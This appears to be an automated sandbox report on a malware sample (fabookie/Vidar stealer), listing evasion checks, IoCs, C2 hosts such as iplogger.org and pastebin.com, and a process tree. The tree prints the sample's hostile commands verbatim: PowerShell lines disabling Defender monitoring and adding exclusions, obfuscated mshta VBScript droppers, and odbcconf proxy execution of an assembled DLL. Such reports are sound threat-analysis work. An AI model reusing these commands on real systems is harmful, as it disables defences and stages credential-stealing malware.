fabookie | 3195334294fd75b18e9c0bc593335290b73dcc315d5c25157f2a3225eb595bad

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Sun156aa32cae4a.exe

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/files/0x0007000000023cb0-138.dat	WebBrowserPassView

Vidar Stealer 1 IoCs

stealer

resource	yara_rule
behavioral2/memory/3572-299-0x0000000000400000-0x000000000053D000-memory.dmp	family_vidar

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4332	powershell.exe
3956	powershell.exe
1088	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1008	netsh.exe

ASPack v2.12-2.42 3 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x0002000000022a9f-75.dat	aspack_v212_v242
behavioral2/files/0x000d000000023b58-83.dat	aspack_v212_v242
behavioral2/files/0x000d000000023b4c-74.dat	aspack_v212_v242

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Sun156aa32cae4a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Sun156aa32cae4a.exe

Checks computer location settings 2 TTPs 19 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	h02CuYYeZUcMDD.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	85f5b66f8c0b9dd1838da31024190463ee565d0052f26bbfdaa84d12ed1163db.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Sun15b94526a807b.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Sun156d9ca8467.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Sun157e7a96e632.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Q7J2UrO1XZC8DQK.EXe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Sun15a8461882.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Sun15635943177.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	Q7J2UrO1XZC8DQK.EXe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	setup_installer.exe

Executes dropped EXE 26 IoCs

pid	Process
5060	setup_installer.exe
1684	setup_install.exe
2852	Sun156d9ca8467.exe
1264	Sun15372e8db79ed3d.exe
4312	Sun1515dbfc0edab0.exe
3524	Sun1580e9cd8c23e.exe
1580	Sun15591a43f8a.exe
3660	Sun15635943177.exe
4472	Sun15e81af69f990d3a6.exe
3416	Sun1585e1028b0.exe
4520	Sun154ca5fada.exe
4916	Sun15a8461882.exe
4616	Sun15168f90478cc7.exe
4592	Sun15c4c762b69ba5.exe
3780	Sun156aa32cae4a.exe
4856	Sun157e7a96e632.exe
3572	Sun1524d92394d.exe
3648	Sun15b94526a807b.exe
4976	Sun15b94526a807b.tmp
3876	Sun157e7a96e632.exe
2396	Sun15b94526a807b.exe
3960	Sun15b94526a807b.tmp
2948	11111.exe
4228	h02CuYYeZUcMDD.exe
3620	Q7J2UrO1XZC8DQK.EXe
5140	Q7J2UrO1XZC8DQK.EXe

Loads dropped DLL 12 IoCs

pid	Process
1684	setup_install.exe
1684	setup_install.exe
1684	setup_install.exe
1684	setup_install.exe
1684	setup_install.exe
1684	setup_install.exe
4976	Sun15b94526a807b.tmp
3960	Sun15b94526a807b.tmp
5556	odbcconf.exe
1708	odbcconf.exe
2276	odbcconf.exe
2276	odbcconf.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

System Binary Proxy Execution: Odbcconf 1 TTPs 9 IoCs

Abuse Odbcconf to proxy execution of malicious code.

defense_evasion

Odbcconf

T1218.008

pid	Process
5220	mshta.exe
2948	cmd.exe
1940	mshta.exe
4652	cmd.exe
2276	odbcconf.exe
1748	mshta.exe
4440	cmd.exe
5556	odbcconf.exe
1708	odbcconf.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Sun156aa32cae4a.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 30 IoCs

Web Service

T1102

flow	ioc
19	iplogger.org
118	iplogger.org
127	iplogger.org
194	iplogger.org
49	iplogger.org
56	iplogger.org
62	iplogger.org
82	iplogger.org
108	iplogger.org
103	iplogger.org
162	iplogger.org
190	iplogger.org
200	iplogger.org
45	iplogger.org
94	iplogger.org
147	iplogger.org
157	iplogger.org
168	iplogger.org
91	pastebin.com
18	iplogger.org
32	iplogger.org
72	iplogger.org
93	pastebin.com
132	iplogger.org
204	iplogger.org
122	iplogger.org
175	iplogger.org
178	iplogger.org
183	iplogger.org
187	iplogger.org

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
22	ip-api.com

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4312	Sun1515dbfc0edab0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
3928	4472	WerFault.exe
2464	4520	WerFault.exe
5556	4592	WerFault.exe	128

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun15b94526a807b.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun156d9ca8467.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun157e7a96e632.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Q7J2UrO1XZC8DQK.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	11111.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun1585e1028b0.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun15372e8db79ed3d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun1524d92394d.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	odbcconf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_installer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	setup_install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun15b94526a807b.tmp
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun154ca5fada.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun157e7a96e632.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun15a8461882.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	h02CuYYeZUcMDD.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Q7J2UrO1XZC8DQK.EXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Sun15e81af69f990d3a6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	odbcconf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	85f5b66f8c0b9dd1838da31024190463ee565d0052f26bbfdaa84d12ed1163db.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun15c4c762b69ba5.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun15c4c762b69ba5.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Sun15c4c762b69ba5.exe

Kills process with taskkill 3 IoCs

evasion

pid	Process
5168	taskkill.exe
5372	taskkill.exe
5472	taskkill.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3660	schtasks.exe
1480	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4312	Sun1515dbfc0edab0.exe
4312	Sun1515dbfc0edab0.exe
3956	powershell.exe
3956	powershell.exe
4332	powershell.exe
4332	powershell.exe
4332	powershell.exe
3956	powershell.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	3524	Sun1580e9cd8c23e.exe
Token: SeDebugPrivilege	3956	powershell.exe
Token: SeDebugPrivilege	4616	Sun15168f90478cc7.exe
Token: SeDebugPrivilege	4332	powershell.exe
Token: SeDebugPrivilege	5168	taskkill.exe
Token: SeDebugPrivilege	5372	taskkill.exe
Token: SeDebugPrivilege	5472	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 5060	4936	85f5b66f8c0b9dd1838da31024190463ee565d0052f26bbfdaa84d12ed1163db.exe	86
PID 4936 wrote to memory of 5060	4936	85f5b66f8c0b9dd1838da31024190463ee565d0052f26bbfdaa84d12ed1163db.exe	86
PID 4936 wrote to memory of 5060	4936	85f5b66f8c0b9dd1838da31024190463ee565d0052f26bbfdaa84d12ed1163db.exe	86
PID 5060 wrote to memory of 1684	5060	setup_installer.exe	89
PID 5060 wrote to memory of 1684	5060	setup_installer.exe	89
PID 5060 wrote to memory of 1684	5060	setup_installer.exe	89
PID 1684 wrote to memory of 2300	1684	setup_install.exe	92
PID 1684 wrote to memory of 2300	1684	setup_install.exe	92
PID 1684 wrote to memory of 2300	1684	setup_install.exe	92
PID 1684 wrote to memory of 4512	1684	setup_install.exe	93
PID 1684 wrote to memory of 4512	1684	setup_install.exe	93
PID 1684 wrote to memory of 4512	1684	setup_install.exe	93
PID 1684 wrote to memory of 1144	1684	setup_install.exe	94
PID 1684 wrote to memory of 1144	1684	setup_install.exe	94
PID 1684 wrote to memory of 1144	1684	setup_install.exe	94
PID 1684 wrote to memory of 4068	1684	setup_install.exe	95
PID 1684 wrote to memory of 4068	1684	setup_install.exe	95
PID 1684 wrote to memory of 4068	1684	setup_install.exe	95
PID 1684 wrote to memory of 4636	1684	setup_install.exe	96
PID 1684 wrote to memory of 4636	1684	setup_install.exe	96
PID 1684 wrote to memory of 4636	1684	setup_install.exe	96
PID 1684 wrote to memory of 4240	1684	setup_install.exe	97
PID 1684 wrote to memory of 4240	1684	setup_install.exe	97
PID 1684 wrote to memory of 4240	1684	setup_install.exe	97
PID 1684 wrote to memory of 2444	1684	setup_install.exe	98
PID 1684 wrote to memory of 2444	1684	setup_install.exe	98
PID 1684 wrote to memory of 2444	1684	setup_install.exe	98
PID 1684 wrote to memory of 3816	1684	setup_install.exe	99
PID 1684 wrote to memory of 3816	1684	setup_install.exe	99
PID 1684 wrote to memory of 3816	1684	setup_install.exe	99
PID 1684 wrote to memory of 3488	1684	setup_install.exe	100
PID 1684 wrote to memory of 3488	1684	setup_install.exe	100
PID 1684 wrote to memory of 3488	1684	setup_install.exe	100
PID 1684 wrote to memory of 3136	1684	setup_install.exe	101
PID 1684 wrote to memory of 3136	1684	setup_install.exe	101
PID 1684 wrote to memory of 3136	1684	setup_install.exe	101
PID 1684 wrote to memory of 3636	1684	setup_install.exe	102
PID 1684 wrote to memory of 3636	1684	setup_install.exe	102
PID 1684 wrote to memory of 3636	1684	setup_install.exe	102
PID 1684 wrote to memory of 4912	1684	setup_install.exe	103
PID 1684 wrote to memory of 4912	1684	setup_install.exe	103
PID 1684 wrote to memory of 4912	1684	setup_install.exe	103
PID 1684 wrote to memory of 4720	1684	setup_install.exe	104
PID 1684 wrote to memory of 4720	1684	setup_install.exe	104
PID 1684 wrote to memory of 4720	1684	setup_install.exe	104
PID 1684 wrote to memory of 1956	1684	setup_install.exe	105
PID 1684 wrote to memory of 1956	1684	setup_install.exe	105
PID 1684 wrote to memory of 1956	1684	setup_install.exe	105
PID 1684 wrote to memory of 4212	1684	setup_install.exe	106
PID 1684 wrote to memory of 4212	1684	setup_install.exe	106
PID 1684 wrote to memory of 4212	1684	setup_install.exe	106
PID 1684 wrote to memory of 2540	1684	setup_install.exe	107
PID 1684 wrote to memory of 2540	1684	setup_install.exe	107
PID 1684 wrote to memory of 2540	1684	setup_install.exe	107
PID 1684 wrote to memory of 1544	1684	setup_install.exe	108
PID 1684 wrote to memory of 1544	1684	setup_install.exe	108
PID 1684 wrote to memory of 1544	1684	setup_install.exe	108
PID 1684 wrote to memory of 4728	1684	setup_install.exe	109
PID 1684 wrote to memory of 4728	1684	setup_install.exe	109
PID 1684 wrote to memory of 4728	1684	setup_install.exe	109
PID 1684 wrote to memory of 4612	1684	setup_install.exe	110
PID 1684 wrote to memory of 4612	1684	setup_install.exe	110
PID 1684 wrote to memory of 4612	1684	setup_install.exe	110
PID 1684 wrote to memory of 3324	1684	setup_install.exe	111

C:\Users\Admin\AppData\Local\Temp\85f5b66f8c0b9dd1838da31024190463ee565d0052f26bbfdaa84d12ed1163db.exe
"C:\Users\Admin\AppData\Local\Temp\85f5b66f8c0b9dd1838da31024190463ee565d0052f26bbfdaa84d12ed1163db.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1684
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      System Location Discovery: System Language Discovery
      PID:2300
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4332
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4512
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3956
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15a8461882.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:1144
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe
        
        Sun15a8461882.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4916
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1088
      - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe"
        6⤵
        
        PID:5588
      - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe"
        6⤵
        
        PID:4904
      - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe"
        6⤵
        
        PID:5544
      - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15a8461882.exe"
        6⤵
        
        PID:840
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun15635943177.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:4068
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15635943177.exe
        
        Sun15635943177.exe
        5⤵
        Checks computer location settings
        Executes dropped EXE
        
        PID:3660
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCriPT: ClOsE(cReateoBJeCT ( "wsCRipT.shell"). RUN("cMd.ExE /q /R TyPe ""C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15635943177.exe"" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if """"== """" for %i iN (""C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15635943177.exe"" ) do taskkill /f -im ""%~Nxi"" ", 0 ,trUe ) )
        6⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:4172
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /R TyPe "C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15635943177.exe" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if ""== "" for %i iN ("C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun15635943177.exe") do taskkill /f -im "%~Nxi"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2072
        
        C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe
        
        ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi
        8⤵
        Checks computer location settings
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4228
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCriPT: ClOsE(cReateoBJeCT ( "wsCRipT.shell"). RUN("cMd.ExE /q /R TyPe ""C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe"" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if ""-PS7ykUulCvwqoVkaBFLeqX_1Bi ""== """" for %i iN (""C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe"" ) do taskkill /f -im ""%~Nxi"" ", 0 ,trUe ) )
        9⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        
        PID:5284
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /R TyPe "C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if "-PS7ykUulCvwqoVkaBFLeqX_1Bi "== "" for %i iN ("C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe") do taskkill /f -im "%~Nxi"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:5732
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCrIPT: ClOSE (CReaTeobjECt ( "wsCRIPt.ShelL" ). run ( "cmd.EXe /R EChO 0%timE%tQM> rHUir.hh & EcHO | SeT /p = ""MZ"" > PCN3bFXS.F& copy /b /y Pcn3bFXS.F + 16AqXIX.Y + lSIVmd4C.I + VbVS~Fi.ZD+rhUIr.hh ..\JEnnF1QU.UEN & sTART odbcconf.exe /A { regsVR ..\JeNnF1QU.UEN } & deL /Q * ",0 ,TRUe ))
        9⤵
        Checks computer location settings
        System Binary Proxy Execution: Odbcconf
        
        PID:5220
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R EChO 0%timE%tQM> rHUir.hh & EcHO | SeT /p = "MZ" > PCN3bFXS.F& copy /b /y Pcn3bFXS.F+ 16AqXIX.Y+ lSIVmd4C.I+ VbVS~Fi.ZD+rhUIr.hh ..\JEnnF1QU.UEN & sTART odbcconf.exe /A { regsVR ..\JeNnF1QU.UEN } & deL /Q *
        10⤵
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:4440
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:3004
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>PCN3bFXS.F"
        11⤵
        System Location Discovery: System Language Discovery
        
        PID:5344
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /A { regsVR ..\JeNnF1QU.UEN }
        11⤵
        Loads dropped DLL
        System Binary Proxy Execution: Odbcconf
        
        PID:1708
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f -im "Sun15635943177.exe"
        8⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5168
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Sun154ca5fada.exe /mixtwo
      4⤵
      System Location Discovery: System Language Discovery
      PID:4636
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C341AF7\Sun154ca5fada.exe
        
        Sun154ca5fada.exe /mixtwo
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:4520
      - C:\Windows\SysWOW64\WerFault.exe
        
